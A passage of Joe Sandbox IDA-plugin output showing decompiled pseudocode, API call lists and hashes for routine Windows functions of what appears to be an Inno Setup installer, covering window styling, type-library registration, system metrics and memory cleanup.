                                                          					 *0x48d020 = E0044F4F4;
                                                          				}
                                                          				E0044F4B8();
                                                          				E0044B450();
                                                          				_push("NotifyWinEvent");
                                                          				_t5 = GetModuleHandleA("user32.dll");
                                                          				_push(_t5);
                                                          				L00405AA4();
                                                          				 *0x48d748 = _t5;
                                                          				return _t5;
                                                          			}





                                                          0x0044f52d
                                                          0x0044f539
                                                          0x0044f53b
                                                          0x0044f540
                                                          0x0044f545
                                                          0x0044f545
                                                          0x0044f54f
                                                          0x0044f554
                                                          0x0044f559
                                                          0x0044f563
                                                          0x0044f568
                                                          0x0044f569
                                                          0x0044f56e
                                                          0x0044f573

                                                          APIs
                                                          • GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,0048B2C3), ref: 0044F563
                                                          • 6CAA5550.KERNEL32(00000000,user32.dll,NotifyWinEvent,0048B2C3), ref: 0044F569
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550HandleModule
                                                          • String ID: 0!C$NotifyWinEvent$`,v$user32.dll
                                                          • API String ID: 3262523333-3615561201
                                                          • Opcode ID: 29324265a08d3d7cc6e208030a643761c141432862eddbaced70722047aa217c
                                                          • Instruction ID: ceb563bd2ec297e701c49a37b532a4a123f9b86f81342ce40c65f90110fb5c22
                                                          • Opcode Fuzzy Hash: 29324265a08d3d7cc6e208030a643761c141432862eddbaced70722047aa217c
                                                          • Instruction Fuzzy Hash: 61E0ECB0D0275569EB01BFB59882B0E3BE0A74930CF10493FB100A62D3CB7C90498F2D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 61%
                                                          			E0041B720(intOrPtr __eax) {
                                                          				intOrPtr _v8;
                                                          				signed int _v12;
                                                          				short* _v16;
                                                          				intOrPtr _v20;
                                                          				intOrPtr _v24;
                                                          				struct HWND__* _v28;
                                                          				void* __edi;
                                                          				short _t45;
                                                          				intOrPtr _t59;
                                                          				intOrPtr _t60;
                                                          				intOrPtr _t62;
                                                          				intOrPtr* _t64;
                                                          				short* _t71;
                                                          				intOrPtr _t78;
                                                          				signed int _t80;
                                                          				void* _t82;
                                                          				intOrPtr _t84;
                                                          				short _t87;
                                                          				intOrPtr* _t89;
                                                          				intOrPtr* _t90;
                                                          				void* _t92;
                                                          				void* _t94;
                                                          				intOrPtr _t95;
                                                          
                                                          				_t92 = _t94;
                                                          				_t95 = _t94 + 0xffffffe8;
                                                          				_push(_t82);
                                                          				_v8 = __eax;
                                                          				_v12 = 0;
                                                          				_t45 =  *((intOrPtr*)(_v8 + 0x20));
                                                          				if(_t45 == 0) {
                                                          					_t87 = E0041B700( *((intOrPtr*)(_v8 + 0xe)));
                                                          				} else {
                                                          					_t78 = _v8;
                                                          					_t87 = _t45;
                                                          				}
                                                          				_t99 = _t87 - 2;
                                                          				if(_t87 <= 2) {
                                                          					return _v12;
                                                          				} else {
                                                          					_v20 = (_t87 - 1 << 2) + 8;
                                                          					_v16 = E00406A40(_v20, _t78, _t82, _t99);
                                                          					_push(_t92);
                                                          					_push(0x41b870);
                                                          					_push( *[fs:ecx]);
                                                          					 *[fs:ecx] = _t95;
                                                          					_t71 = _v16;
                                                          					E00402A64(_t71, _v20);
                                                          					 *((short*)(_t71 + 2)) = _t87;
                                                          					 *_t71 = 0x300;
                                                          					_v28 = GetFocus();
                                                          					_t59 = _v28;
                                                          					_push(_t59);
                                                          					L00406034();
                                                          					_v24 = _t59;
                                                          					_push(_t92);
                                                          					_push(0x41b844);
                                                          					_push( *[fs:ecx]);
                                                          					 *[fs:ecx] = _t95;
                                                          					_push(0x68);
                                                          					_t60 = _v24;
                                                          					_push(_t60);
                                                          					L00405D64();
                                                          					_t84 = _t60;
                                                          					if(_t87 != 0x10 || _t84 < 0x10) {
                                                          						_t89 = _t87 - 1;
                                                          						__eflags = _t89;
                                                          						if(_t89 >= 0) {
                                                          							_t90 = _t89 + 1;
                                                          							_t80 = 0;
                                                          							_t64 = _v8 + 0x2a;
                                                          							__eflags = _t64;
                                                          							do {
                                                          								 *((char*)(_t71 + 4 + _t80 * 4)) =  *_t64;
                                                          								 *((char*)(_t71 + 5 + _t80 * 4)) =  *((intOrPtr*)(_t64 - 1));
                                                          								 *((char*)(_t71 + 6 + _t80 * 4)) =  *((intOrPtr*)(_t64 - 2));
                                                          								 *((char*)(_t71 + 7 + _t80 * 4)) = 0;
                                                          								_t80 = _t80 + 1;
                                                          								_t64 = _t64 + 4;
                                                          								_t90 = _t90 - 1;
                                                          								__eflags = _t90;
                                                          							} while (_t90 != 0);
                                                          						}
                                                          					} else {
                                                          						_push(_t71 + 4);
                                                          						_push(8);
                                                          						_push(0);
                                                          						_push(_v24);
                                                          						L00405D8C();
                                                          						_push(_t71 + 0x24);
                                                          						_push(8);
                                                          						_push(_t84 - 8);
                                                          						_push(_v24);
                                                          						L00405D8C();
                                                          					}
                                                          					_pop( *[fs:0x0]);
                                                          					_push(E0041B84B);
                                                          					_push(_v24);
                                                          					_t62 = _v28;
                                                          					_push(_t62);
                                                          					L0040621C();
                                                          					return _t62;
                                                          				}
                                                          			}


























                                                          0x0041b721
                                                          0x0041b723
                                                          0x0041b728
                                                          0x0041b729
                                                          0x0041b72e
                                                          0x0041b734
                                                          0x0041b739
                                                          0x0041b74e
                                                          0x0041b73b
                                                          0x0041b73b
                                                          0x0041b73e
                                                          0x0041b73e
                                                          0x0041b750
                                                          0x0041b753
                                                          0x0041b880
                                                          0x0041b759
                                                          0x0041b762
                                                          0x0041b76d
                                                          0x0041b772
                                                          0x0041b773
                                                          0x0041b778
                                                          0x0041b77b
                                                          0x0041b77e
                                                          0x0041b788
                                                          0x0041b78d
                                                          0x0041b791
                                                          0x0041b79b
                                                          0x0041b79e
                                                          0x0041b7a1
                                                          0x0041b7a2
                                                          0x0041b7a7
                                                          0x0041b7ac
                                                          0x0041b7ad
                                                          0x0041b7b2
                                                          0x0041b7b5
                                                          0x0041b7b8
                                                          0x0041b7ba
                                                          0x0041b7bd
                                                          0x0041b7be
                                                          0x0041b7c3
                                                          0x0041b7c8
                                                          0x0041b7f9
                                                          0x0041b7fa
                                                          0x0041b7fc
                                                          0x0041b7fe
                                                          0x0041b7ff
                                                          0x0041b804
                                                          0x0041b804
                                                          0x0041b807
                                                          0x0041b809
                                                          0x0041b810
                                                          0x0041b817
                                                          0x0041b81b
                                                          0x0041b820
                                                          0x0041b821
                                                          0x0041b824
                                                          0x0041b824
                                                          0x0041b824
                                                          0x0041b807
                                                          0x0041b7cf
                                                          0x0041b7d2
                                                          0x0041b7d3
                                                          0x0041b7d5
                                                          0x0041b7da
                                                          0x0041b7db
                                                          0x0041b7e9
                                                          0x0041b7ea
                                                          0x0041b7ed
                                                          0x0041b7f1
                                                          0x0041b7f2
                                                          0x0041b7f2
                                                          0x0041b827
                                                          0x0041b831
                                                          0x0041b839
                                                          0x0041b83a
                                                          0x0041b83d
                                                          0x0041b83e
                                                          0x0041b843
                                                          0x0041b843

                                                          APIs
                                                          • GetFocus.USER32 ref: 0041B796
                                                          • 72E5AC50.USER32(?,00000000,0041B870,?,?,?,?), ref: 0041B7A2
                                                          • 72E5AD70.GDI32(?,00000068,00000000,0041B844,?,?,00000000,0041B870,?,?,?,?), ref: 0041B7BE
                                                          • 72E5AEF0.GDI32(?,00000000,00000008,?,?,00000068,00000000,0041B844,?,?,00000000,0041B870,?,?,?,?), ref: 0041B7DB
                                                          • 72E5AEF0.GDI32(?,00000000,00000008,?,?,00000000,00000008,?,?,00000068,00000000,0041B844,?,?,00000000,0041B870), ref: 0041B7F2
                                                          • 72E5B380.USER32(?,?,0041B84B,?,?), ref: 0041B83E
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: B380Focus
                                                          • String ID:
                                                          • API String ID: 3891926489-0
                                                          • Opcode ID: adcefa71c22cc9f59d01e386f407f5dc848c9fd22f961dcd14a09b7471c0dc6a
                                                          • Instruction ID: d66ea0f20c641b87f3b3874b3933403b10177221f0b42d250ee1590d7b740873
                                                          • Opcode Fuzzy Hash: adcefa71c22cc9f59d01e386f407f5dc848c9fd22f961dcd14a09b7471c0dc6a
                                                          • Instruction Fuzzy Hash: 1741EB35A00158DFCB10EFA9C885AAFBBB8EF49704F1584BAE900E7351D3389D50CBA5
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 82%
                                                          			E004566E4(signed char __eax, void* __ebx, char __edx, void* __edi, void* __esi) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				int _t26;
                                                          				void* _t37;
                                                          				void* _t43;
                                                          				void* _t47;
                                                          				signed char _t57;
                                                          				intOrPtr _t67;
                                                          				void* _t77;
                                                          
                                                          				_t74 = __esi;
                                                          				_t73 = __edi;
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v12 = 0;
                                                          				_v8 = __edx;
                                                          				_t57 = __eax;
                                                          				E00403870(_v8);
                                                          				_push(_t77);
                                                          				_push(0x45680b);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t77 + 0xfffffff8;
                                                          				E0042C8F0(_v8,  &_v12);
                                                          				E004035DC( &_v8, _v12);
                                                          				 *0x48df2c = 0;
                                                          				_t26 = E004036BC(_v8);
                                                          				0x48df30[MultiByteToWideChar(0, 0, E00403880(_v8), _t26, 0x48df30, 0xfff)] = 0;
                                                          				E00455FB0(0);
                                                          				E00456394(4, 0, 0x2004);
                                                          				E00455FB0(0);
                                                          				_t37 =  *0x49df30 - 1;
                                                          				if(_t37 == 0) {
                                                          					E00451C00("LoadTypeLib", _t57,  *0x49df34, __edi, __esi, __eflags);
                                                          				} else {
                                                          					_t43 = _t37 - 1;
                                                          					if(_t43 == 0) {
                                                          						_t44 =  *0x49df34;
                                                          						__eflags =  *0x49df34;
                                                          						_t58 = _t57 | 0x2000 | __eflags != 0x00000000;
                                                          						__eflags = _t57 | 0x2000 | __eflags != 0x00000000;
                                                          						if(__eflags != 0) {
                                                          							E00451C00("RegisterTypeLib", _t58, _t44, __edi, __esi, __eflags);
                                                          						}
                                                          					} else {
                                                          						_t47 = _t43 - 1;
                                                          						if(_t47 == 0) {
                                                          							E00451C00("ITypeLib::GetLibAttr", _t57,  *0x49df34, __edi, __esi, __eflags);
                                                          						} else {
                                                          							_t82 = _t47 == 1;
                                                          							if(_t47 == 1) {
                                                          								_t51 =  *0x49df34;
                                                          								__eflags =  *0x49df34;
                                                          								if(__eflags != 0) {
                                                          									L11:
                                                          									E00451C00("UnRegisterTypeLib", _t57, _t51, _t73, _t74, __eflags);
                                                          								} else {
                                                          									__eflags = _t57;
                                                          									if(__eflags == 0) {
                                                          										goto L11;
                                                          									}
                                                          								}
                                                          							} else {
                                                          								E00451AFC("HelperRegisterTypeLibrary: StatusCode invalid", _t57, __edi, __esi, _t82);
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				_pop(_t67);
                                                          				 *[fs:eax] = _t67;
                                                          				_push(E00456812);
                                                          				return E00403568( &_v12, 2);
                                                          			}












                                                          0x004566e4
                                                          0x004566e4
                                                          0x004566eb
                                                          0x004566ec
                                                          0x004566ef
                                                          0x004566f2
                                                          0x004566f5
                                                          0x004566fa
                                                          0x00456701
                                                          0x00456702
                                                          0x00456707
                                                          0x0045670a
                                                          0x00456713
                                                          0x0045671e
                                                          0x00456727
                                                          0x00456739
                                                          0x00456751
                                                          0x0045675d
                                                          0x0045676c
                                                          0x00456773
                                                          0x0045677d
                                                          0x0045677e
                                                          0x00456796
                                                          0x00456780
                                                          0x00456780
                                                          0x00456781
                                                          0x0045679d
                                                          0x004567a2
                                                          0x004567a7
                                                          0x004567a7
                                                          0x004567a9
                                                          0x004567b2
                                                          0x004567b2
                                                          0x00456783
                                                          0x00456783
                                                          0x00456784
                                                          0x004567c4
                                                          0x00456786
                                                          0x00456786
                                                          0x00456787
                                                          0x004567cb
                                                          0x004567d0
                                                          0x004567d2
                                                          0x004567d8
                                                          0x004567df
                                                          0x004567d4
                                                          0x004567d4
                                                          0x004567d6
                                                          0x00000000
                                                          0x00000000
                                                          0x004567d6
                                                          0x00456789
                                                          0x004567eb
                                                          0x004567eb
                                                          0x00456787
                                                          0x00456784
                                                          0x00456781
                                                          0x004567f2
                                                          0x004567f5
                                                          0x004567f8
                                                          0x0045680a

                                                          APIs
                                                            • Part of subcall function 0042C8F0: GetFullPathNameA.KERNEL32(00000000,00001000,?), ref: 0042C914
                                                          • MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,0048DF30,00000FFF,00000000,0045680B,?,?,00000000,0048D628), ref: 0045674C
                                                            • Part of subcall function 00455FB0: CloseHandle.KERNEL32(00000000), ref: 00455FE0
                                                            • Part of subcall function 00455FB0: WaitForSingleObject.KERNEL32(00000000,00002710,00000000), ref: 0045600A
                                                            • Part of subcall function 00455FB0: GetExitCodeProcess.KERNEL32 ref: 0045601A
                                                            • Part of subcall function 00455FB0: CloseHandle.KERNEL32(00000000,00000000,?,00000000,00002710,00000000,00000001,00000000,00002710,00000000), ref: 00456060
                                                            • Part of subcall function 00455FB0: Sleep.KERNEL32(000000FA,00000000,00000000,?,00000000,00002710,00000000,00000001,00000000,00002710,00000000), ref: 00456079
                                                            • Part of subcall function 00455FB0: TerminateProcess.KERNEL32(00000000,00000001,00000000,00002710,00000000), ref: 00455FFD
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CloseHandleProcess$ByteCharCodeExitFullMultiNameObjectPathSingleSleepTerminateWaitWide
                                                          • String ID: HelperRegisterTypeLibrary: StatusCode invalid$ITypeLib::GetLibAttr$LoadTypeLib$RegisterTypeLib$UnRegisterTypeLib
                                                          • API String ID: 3965036325-83444288
                                                          • Opcode ID: d33c1ec6489238e1d7bb0c5ffb408920347aa90a3fe0abd086959489d3fb1748
                                                          • Instruction ID: d00a5a7ab2be7f5786be0de2e48ebd106f020e902f67aa1599d3ace806d12d59
                                                          • Opcode Fuzzy Hash: d33c1ec6489238e1d7bb0c5ffb408920347aa90a3fe0abd086959489d3fb1748
                                                          • Instruction Fuzzy Hash: 8731C330711104ABDB10FB69C942A1FB7A8EB0834AF92443BBC04D73A7EA3CDD08965D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 50%
                                                          			E0041BFA4(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
                                                          				intOrPtr* _v8;
                                                          				intOrPtr _v12;
                                                          				signed int _v16;
                                                          				intOrPtr _v20;
                                                          				signed int _v24;
                                                          				signed short _v30;
                                                          				int _v40;
                                                          				int _v44;
                                                          				signed short _v48;
                                                          				int _t28;
                                                          				signed int _t29;
                                                          				signed short _t30;
                                                          				signed int _t31;
                                                          				signed short _t35;
                                                          				intOrPtr _t49;
                                                          				void* _t52;
                                                          				void* _t53;
                                                          				void* _t54;
                                                          				intOrPtr _t55;
                                                          
                                                          				_t53 = _t54;
                                                          				_t55 = _t54 + 0xffffff8c;
                                                          				_v16 = __ecx;
                                                          				_v12 = __edx;
                                                          				_v8 = __eax;
                                                          				_v24 = _v16 << 4;
                                                          				_v20 = E00406A40(_v24, __edx, __edi, __eflags);
                                                          				 *[fs:0x0] = _t55;
                                                          				 *((intOrPtr*)( *_v8))( *[fs:0x0], 0x41c250, _t53, __edi, __esi, __ebx, _t52);
                                                          				_v44 = GetSystemMetrics(0xb);
                                                          				_t28 = GetSystemMetrics(0xc);
                                                          				_v40 = _t28;
                                                          				_push(0);
                                                          				L00406034();
                                                          				_v48 = _t28;
                                                          				if(_v48 == 0) {
                                                          					E0041B5AC();
                                                          				}
                                                          				_push(_t53);
                                                          				_push(0x41c074);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t55;
                                                          				_push(0xe);
                                                          				_t29 = _v48;
                                                          				_push(_t29);
                                                          				L00405D64();
                                                          				_push(0xc);
                                                          				_t30 = _v48;
                                                          				_push(_t30);
                                                          				L00405D64();
                                                          				_t31 = _t29 * _t30;
                                                          				if(_t31 != 0x18) {
                                                          					__eflags = 1;
                                                          					_v30 = 1 << _t31;
                                                          				} else {
                                                          					_v30 = 0;
                                                          				}
                                                          				_pop(_t49);
                                                          				 *[fs:eax] = _t49;
                                                          				_push(E0041C07B);
                                                          				_t35 = _v48;
                                                          				_push(_t35);
                                                          				_push(0);
                                                          				L0040621C();
                                                          				return _t35;
                                                          			}






















                                                          0x0041bfa5
                                                          0x0041bfa7
                                                          0x0041bfad
                                                          0x0041bfb0
                                                          0x0041bfb3
                                                          0x0041bfbc
                                                          0x0041bfc7
                                                          0x0041bfd7
                                                          0x0041bfe9
                                                          0x0041bff2
                                                          0x0041bff7
                                                          0x0041bffc
                                                          0x0041bfff
                                                          0x0041c001
                                                          0x0041c006
                                                          0x0041c00d
                                                          0x0041c00f
                                                          0x0041c00f
                                                          0x0041c016
                                                          0x0041c017
                                                          0x0041c01c
                                                          0x0041c01f
                                                          0x0041c022
                                                          0x0041c024
                                                          0x0041c027
                                                          0x0041c028
                                                          0x0041c02f
                                                          0x0041c031
                                                          0x0041c034
                                                          0x0041c035
                                                          0x0041c03e
                                                          0x0041c044
                                                          0x0041c054
                                                          0x0041c057
                                                          0x0041c046
                                                          0x0041c046
                                                          0x0041c046
                                                          0x0041c05d
                                                          0x0041c060
                                                          0x0041c063
                                                          0x0041c068
                                                          0x0041c06b
                                                          0x0041c06c
                                                          0x0041c06e
                                                          0x0041c073

                                                          APIs
                                                          • GetSystemMetrics.USER32 ref: 0041BFED
                                                          • GetSystemMetrics.USER32 ref: 0041BFF7
                                                          • 72E5AC50.USER32(00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041C001
                                                          • 72E5AD70.GDI32(00000000,0000000E,00000000,0041C074,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041C028
                                                          • 72E5AD70.GDI32(00000000,0000000C,00000000,0000000E,00000000,0041C074,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041C035
                                                          • 72E5B380.USER32(00000000,00000000,0041C07B,0000000E,00000000,0041C074,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041C06E
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: MetricsSystem$B380
                                                          • String ID:
                                                          • API String ID: 3145338429-0
                                                          • Opcode ID: 300aa94ef2a80990f9c4a67f91d5527d06e1effc3134014cc00f28425edd26f3
                                                          • Instruction ID: 61352310958d2d1372ad27983811079a8e6a1b4bff1fd1972ab6cd8891b72e8a
                                                          • Opcode Fuzzy Hash: 300aa94ef2a80990f9c4a67f91d5527d06e1effc3134014cc00f28425edd26f3
                                                          • Instruction Fuzzy Hash: 7E215E74E40608EFEB10EFE9C881BEEBBB4EB48704F10802AE515B7681D6795941CF69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 70%
                                                          			E00401A98() {
                                                          				void* _t2;
                                                          				void* _t3;
                                                          				void* _t14;
                                                          				intOrPtr* _t18;
                                                          				intOrPtr _t22;
                                                          				intOrPtr _t24;
                                                          
                                                          				_t22 = _t24;
                                                          				if( *0x48d419 == 0) {
                                                          					return _t2;
                                                          				} else {
                                                          					_push(_t22);
                                                          					_push(E00401B70);
                                                          					_push( *[fs:edx]);
                                                          					 *[fs:edx] = _t24;
                                                          					if( *0x48d036 != 0) {
                                                          						_push(0x48d420);
                                                          						L00401330();
                                                          					}
                                                          					 *0x48d419 = 0;
                                                          					_t3 =  *0x48d478; // 0x721df0
                                                          					LocalFree(_t3);
                                                          					 *0x48d478 = 0;
                                                          					_t18 =  *0x48d440; // 0x71ff84
                                                          					while(_t18 != 0x48d440) {
                                                          						VirtualFree( *(_t18 + 8), 0, 0x8000);
                                                          						_t18 =  *_t18;
                                                          					}
                                                          					E00401398(0x48d440);
                                                          					E00401398(0x48d450);
                                                          					E00401398(0x48d47c);
                                                          					_t14 =  *0x48d438; // 0x71f950
                                                          					while(_t14 != 0) {
                                                          						 *0x48d438 =  *_t14;
                                                          						LocalFree(_t14);
                                                          						_t14 =  *0x48d438; // 0x71f950
                                                          					}
                                                          					_pop( *[fs:0x0]);
                                                          					_push(0x401b77);
                                                          					if( *0x48d036 != 0) {
                                                          						_push(0x48d420);
                                                          						L00401338();
                                                          					}
                                                          					_push(0x48d420);
                                                          					L00401340();
                                                          					return _t14;
                                                          				}
                                                          			}









                                                          0x00401a99
                                                          0x00401aa3
                                                          0x00401b79
                                                          0x00401aa9
                                                          0x00401aab
                                                          0x00401aac
                                                          0x00401ab1
                                                          0x00401ab4
                                                          0x00401abe
                                                          0x00401ac0
                                                          0x00401ac5
                                                          0x00401ac5
                                                          0x00401aca
                                                          0x00401ad1
                                                          0x00401ad7
                                                          0x00401ade
                                                          0x00401ae3
                                                          0x00401afd
                                                          0x00401af6
                                                          0x00401afb
                                                          0x00401afb
                                                          0x00401b0a
                                                          0x00401b14
                                                          0x00401b1e
                                                          0x00401b23
                                                          0x00401b2a
                                                          0x00401b2e
                                                          0x00401b35
                                                          0x00401b3a
                                                          0x00401b3f
                                                          0x00401b43
                                                          0x00401b4d
                                                          0x00401b59
                                                          0x00401b5b
                                                          0x00401b60
                                                          0x00401b60
                                                          0x00401b65
                                                          0x00401b6a
                                                          0x00401b6f
                                                          0x00401b6f

                                                          APIs
                                                          • RtlEnterCriticalSection.KERNEL32(0048D420,00000000,00401B70), ref: 00401AC5
                                                          • LocalFree.KERNEL32(00721DF0,00000000,00401B70), ref: 00401AD7
                                                          • VirtualFree.KERNEL32(?,00000000,00008000,00721DF0,00000000,00401B70), ref: 00401AF6
                                                          • LocalFree.KERNEL32(0071F950,?,00000000,00008000,00721DF0,00000000,00401B70), ref: 00401B35
                                                          • RtlLeaveCriticalSection.KERNEL32(0048D420,00401B77), ref: 00401B60
                                                          • RtlDeleteCriticalSection.KERNEL32(0048D420,00401B77), ref: 00401B6A
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
                                                          • String ID:
                                                          • API String ID: 3782394904-0
                                                          • Opcode ID: 68d932db4689e114aee9658c5227d6ca8a691041475f589188673913b12cc760
                                                          • Instruction ID: 954f68671e0f677be55c5b6586aae97ede79eb7a3530a01ec67f03a117e7fc77
                                                          • Opcode Fuzzy Hash: 68d932db4689e114aee9658c5227d6ca8a691041475f589188673913b12cc760
                                                          • Instruction Fuzzy Hash: 0011BF70E022445BE715AB699C86F1E37A5A786B0CF44487BF40067AF2D77CB880C76D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00473350(void* __eax) {
                                                          				intOrPtr _t12;
                                                          				signed int _t15;
                                                          				intOrPtr _t16;
                                                          				intOrPtr _t19;
                                                          				signed int _t21;
                                                          				long _t22;
                                                          				intOrPtr _t23;
                                                          				intOrPtr _t26;
                                                          				intOrPtr _t29;
                                                          				void* _t32;
                                                          
                                                          				_t32 = __eax;
                                                          				_t12 =  *0x48d628; // 0x21c2410
                                                          				_t15 = GetWindowLongA( *(_t12 + 0x20), 0xffffffec) & 0xffffff00 | (_t14 & 0x00000080) == 0x00000000;
                                                          				if(_t32 != _t15) {
                                                          					_t16 =  *0x48d628; // 0x21c2410
                                                          					SetWindowPos( *(_t16 + 0x20), 0, 0, 0, 0, 0, 0x97);
                                                          					_t19 =  *0x48d628; // 0x21c2410
                                                          					_t21 = GetWindowLongA( *(_t19 + 0x20), 0xffffffec);
                                                          					if(_t32 == 0) {
                                                          						_t22 = _t21 | 0x00000080;
                                                          					} else {
                                                          						_t22 = _t21 & 0xffffff7f;
                                                          					}
                                                          					_t23 =  *0x48d628; // 0x21c2410
                                                          					SetWindowLongA( *(_t23 + 0x20), 0xffffffec, _t22);
                                                          					if(_t32 == 0) {
                                                          						_t26 =  *0x48d628; // 0x21c2410
                                                          						return SetWindowPos( *(_t26 + 0x20), 0, 0, 0, 0, 0, 0x57);
                                                          					} else {
                                                          						_t29 =  *0x48d628; // 0x21c2410
                                                          						return ShowWindow( *(_t29 + 0x20), 5);
                                                          					}
                                                          				}
                                                          				return _t15;
                                                          			}













                                                          0x00473351
                                                          0x00473355
                                                          0x00473365
                                                          0x0047336a
                                                          0x0047337b
                                                          0x00473384
                                                          0x0047338b
                                                          0x00473394
                                                          0x0047339b
                                                          0x004733a4
                                                          0x0047339d
                                                          0x0047339d
                                                          0x0047339d
                                                          0x004733ac
                                                          0x004733b5
                                                          0x004733bc
                                                          0x004733dc
                                                          0x00000000
                                                          0x004733be
                                                          0x004733c0
                                                          0x00000000
                                                          0x004733c9
                                                          0x004733bc
                                                          0x004733eb

                                                          APIs
                                                          • GetWindowLongA.USER32 ref: 0047335E
                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,004659C1), ref: 00473384
                                                          • GetWindowLongA.USER32 ref: 00473394
                                                          • SetWindowLongA.USER32 ref: 004733B5
                                                          • ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 004733C9
                                                          • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 004733E5
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Window$Long$Show
                                                          • String ID:
                                                          • API String ID: 3609083571-0
                                                          • Opcode ID: f17edac987bd9c2908a07fa4262eb0fc9c87948dbfb0172ae07a896ab9d904bb
                                                          • Instruction ID: 2bcae36e274d7689c46ab5f9e90a50334b90f60466ff99c51d2f902ba0d341bd
